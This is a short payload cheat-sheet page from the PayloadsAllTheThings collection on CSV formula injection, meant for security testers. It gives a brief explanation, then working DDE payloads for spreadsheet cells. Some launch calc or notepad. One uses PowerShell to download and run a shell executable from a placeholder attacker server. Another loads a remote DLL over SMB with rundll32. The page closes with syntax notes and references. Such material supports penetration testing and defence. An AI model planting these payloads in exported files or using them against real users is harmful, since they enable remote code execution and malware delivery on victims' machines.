PayloadsAllTheThings/CSV Injection

CSV Injection (Formula Injection)

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

Exploit

Basic exploit with Dynamic Data Exchange

# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0

# pop a notepad
=cmd|' /C notepad'!'A1'

# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Technical Details of the above payload:

• cmd is the name the server can respond to whenever a client is trying to access the server
• /C calc is the file name which in our case is the calc(i.e the calc.exe)
• !A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data

Any formula can be started with

=
+
–
@

References

• OWASP - CSV Excel Macro Injection
• Google Bug Hunter University - CSV Excel formula injection
• Comma Separated Vulnerabilities - James Kettle
• CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani
• From CSV to Meterpreter - 5th November 2015 - Adam Chester